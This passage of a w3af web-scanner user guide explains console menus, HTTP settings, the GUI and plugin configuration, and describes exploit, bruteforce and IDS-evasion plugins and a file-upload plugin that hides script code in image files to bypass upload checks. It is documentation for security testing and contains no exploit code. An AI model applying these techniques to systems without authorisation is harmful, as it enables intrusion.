</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
help | Display help. issuing: help [command]|</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
| , prints more specific help about |</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
| "command" | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
version | Show w3af version information. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
keys | Display key shortcuts. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B></FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
help target</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">Configure
the target URL.</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B></FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">The
main menu commands are explained in the help that is displayed above.
The internals of every menu will be seen later in this document. As
you already noticed, the “help” command can take a parameter, and
if available, a detailed help for that parameter will be shown, <FONT FACE="Bitstream Vera Sans, sans-serif"><SPAN STYLE="font-style: normal"><SPAN STYLE="background: transparent">e.g.
“help keys”.</SPAN></SPAN></FONT></FONT></P>
<P ALIGN=JUSTIFY STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">Other
interesting things to notice about the consoleUI is the ability for
tabbed completion (type 'plu' and then TAB) and the command history
(after typing some commands, navigate the history with the up and
down arrows).</FONT></P>
<P ALIGN=JUSTIFY STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">To
enter a configuration menu, you just have to type its name and hit
enter, you will see how the prompt changes and you are now in that
context:</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">http-settings
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:http-settings>>></B></FONT></P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">All
the configuration menus provide the following commands:</FONT></P>
<UL>
<LI><P STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">help</FONT></P>
<LI><P STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">view</FONT></P>
<LI><P STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">set</FONT></P>
<LI><P STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">back</FONT></P>
</UL>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">Here
is a usage example of this commands in the http-settings menu:</FONT></P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:http-settings>>></B>
help</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
view | List the available options and their values. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
set | Set a parameter value. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
back | Go to the previous menu. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
exit | Exit w3af. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
assert | Check assertion. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:http-settings>>></B>
view</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| Setting |
Value | Description |
--------------------------------------------------------------| </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| timeout | 10
| The | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| timeout | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| for | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| connections | |
| | to the | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| HTTP | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| server | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| headersFile |
| Set the | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| headers | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| filename. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| This | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| file | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| has | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| additional | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| headers | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| that | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| are | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| added | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| to each | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| request. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| ignoreSessCookies |
False | Ignore | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| session | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| cookies | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| cookieJarFile |
| Set the | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| cookiejar | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| |
| filename. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:http-settings>>></B>
set timeout 5</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:http-settings>>></B>
view</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">| timeout | 5
| The | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">To
summarize, the “view” command is used to list all configurable
parameters, with their values and a description. The set command is
used to change a value. Finally we can execute “back”, “.” or
press CTRL+C to return to the previous menu. A detailed help for
every configuration parameter can be obtained using “help
parameter” as shown in this example:</FONT></P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:http-settings>>></B>
help timeout</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">Help
for parameter timeout:</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">===========================</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">Set
low timeouts for LAN use and high timeouts for slow Internet
connections.</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:http-settings>>></B></FONT></P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal; font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">The
“http-settings” and the “misc-settings” configuration menus
are used to set system wide parameters that are used by the
framework. All the parameters have defaults and in most cases you can
leave them as they are. w3af was designed in a way that allows
beginners to run it without having to learn a lot of its internals.
It is also flexible enough to be tuned by experts that know what they
want and need to change internal configuration parameters to fulfill
their tasks.</FONT></P>
<P STYLE="font-style: normal; font-weight: medium"><BR><BR>
</P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<H3 CLASS="western" STYLE="page-break-before: always">Running w3af
with GTK user interface</H3>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="font-style: normal">The framework also has a graphical user
interface that you can start by executing:</P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>$
</B>./w3af_gui</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal; font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">The
graphical user interface allows you to perform all the actions that
the framework offers and features a much easier and faster way to
start a scan and analyze the results.</FONT></P>
<P ALIGN=JUSTIFY STYLE="font-style: normal; font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">In
case you are wondering what the graphical user interface looks like,
here is a screenshot:</FONT></P>
<P ALIGN=JUSTIFY STYLE="font-style: normal; font-weight: medium"><FONT COLOR="#000000"><IMG SRC="w3afUsersGuide_html_m51b850c5.png" NAME="graphics1" ALIGN=LEFT WIDTH=626 HEIGHT=418 BORDER=2></FONT><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal; font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">For
more details please read the “gtkUiUsersGuide”.</FONT></P>
<H3 CLASS="western" STYLE="page-break-before: always">Plugins</H3>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>Plugins do all the magic. The plugins will find the
URLs, discover the vulnerabilities and exploit them. So now, we will
learn how to configure the plugins. In a previous section it was
explained that w3af had three core types of plugins: discovery, audit
and exploit. The complete list of plugins types is:</P>
<P><BR><BR>
</P>
<UL>
<LI><P>discovery</P>
<LI><P>audit</P>
<LI><P>grep</P>
<LI><P>exploit</P>
<LI><P>output</P>
<LI><P>mangle</P>
<LI><P>bruteforce</P>
<LI><P>evasion</P>
</UL>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>Discovery plugins find new points of injection that
are later used by audit plugins to find vulnerabilities. Grep plugins
analyze all page content and find vulnerabilities on pages that are
requested by other plugins; for example, a grep plugin will find a
comment on the HTML body that has the word “password” inside it
and generate a vulnerability based on it.</P>
<P ALIGN=JUSTIFY>Exploit plugins [ab]use the vulnerabilities found in
the audit phase and return something useful to the user ( remote
shell, SQL table dump, a proxy, etc ).</P>
<P ALIGN=JUSTIFY>Output plugins are the way the framework and the
plugins communicate with the user. Output plugins save the data to a
text or html file. Debugging information is also sent to the output
plugins and can be saved for analysis.</P>
<P ALIGN=JUSTIFY>Mangle plugins allow modification of requests and
responses based on regular expressions, think “sed (stream editor)
for the web”.</P>
<P ALIGN=JUSTIFY>Bruteforce plugins will bruteforce logins. These
plugins are part of the discovery phase.
</P>
<P ALIGN=JUSTIFY>Finally, evasion plugins try to evade simple
intrusion detection rules.</P>
<H3 CLASS="western"></H3>
<H3 CLASS="western" STYLE="page-break-before: always">Plugin
configuration</H3>
<P ALIGN=JUSTIFY>The plugins are configured using the “plugins”
configuration menu.
</P>
<P><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
help</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
list | List available plugins. | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
back | Go to the previous menu. | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
exit | Exit w3af. | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
assert | Check assertion. | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
mangle | View, configure and enable mangle plugins | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
evasion | View, configure and enable evasion plugins | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
discovery | View, configure and enable discovery plugins | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
grep | View, configure and enable grep plugins | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
bruteforce | View, configure and enable bruteforce plugins | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
audit | View, configure and enable audit plugins | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
output | View, configure and enable output plugins | </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|-------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B></FONT></P>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">All
plugins can be configured here except the exploit plugins., The
example below demonstrates how to find the syntax for a plugin:</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
help audit</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">View,
configure and enable audit plugins </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Syntax:
audit [config plugin | plugin1[,plugin2 ... pluginN] | desc plugin] </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Example:
audit </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Result:
All enabled audit plugins are listed. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Example2:
audit LDAPi,blindSqli </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Result:
LDAPi and blindSqli are configured to run </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Example3:
audit config LDAPi </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Result:
Enters to the plugin configuration menu. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Example4:
audit all,!blindSqli </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Result:
All audit plugins are configured to run except blindSqli. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Example5:
audit desc LDAPi </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Result:
You will get the plugin description. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Example6:
audit LDAPi,blindSqli </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"> <FONT FACE="Nimbus Mono L, monospace">audit
!LDAPi </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Result:
LDAPi is disabled in the second command, only blindSqli will run. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
help list</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">List
available plugins. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Syntax:
list {plugin type} [all | enabled | disabled] </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">By
default all plugins are listed. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B></FONT></P>
<P STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">The
example below demonstrates the use of the list command to see all
available plugins and their status.</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
list audit</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
Plugin name | Status | Conf | Description | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
LDAPi | | | Find LDAP injection | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | bugs. | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
blindSqli | | Yes | Find blind SQL | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | injection | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | vulnerabilities. | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
buffOverflow | | | Find buffer overflow | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | vulnerabilities. | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
dav | | | Tries to upload a | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | file using HTTP PUT | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | method. | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
eval | | | Finds incorrect usage | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | of the eval(). | </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">To
enable the xss and sqli plugins, and then verify that the command was
understood by the framework, we issue this set of commands:</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit xss, sqli</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
Plugin name | Status | Conf | Description | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
sqli | Enabled | | Find SQL injection | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | bugs. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
xss | Enabled | Yes | Find cross site | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | scripting | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | vulnerabilities. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
xst | | | Verify Cross Site | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | Tracing | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | vulnerabilities. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B></FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY>Or if the user is interested in knowing exactly what
a plugin does, he can also run the “<FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="font-weight: medium">desc”
</SPAN></FONT>command like this:</P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit desc fileUpload</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">This
plugin will try to expoit insecure file upload forms.</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: -0.98in; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">One configurable parameter
exists:</FONT></P>
<P STYLE="margin-left: -0.98in; font-weight: medium">
<FONT FACE="Nimbus Mono L, monospace">- extensions</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
extensions parameter is a comma separated list of extensions that
this plugin will try to upload. Many web applications
verify the extension of the file being uploaded, if special
extensions are required, they can be added here.</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Some
web applications check the contents of the files being uploaded to
see if they are really what their extension is
telling. To bypass this check, this plugin uses file templates
located at "plugins/audit/fileUpload/", this templates</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">are
valid files for each extension that have a section ( the comment
field in a gif file for example ) that can be replaced</FONT></P>
<P STYLE="font-weight: medium"> <FONT FACE="Nimbus Mono L, monospace">by
scripting code ( PHP, ASP, etc ).</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">After
uploading the file, this plugin will try to find it on common
directories like "upload" and "files" on every
know directory. If the file is found, a vulnerability exists.</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B></FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
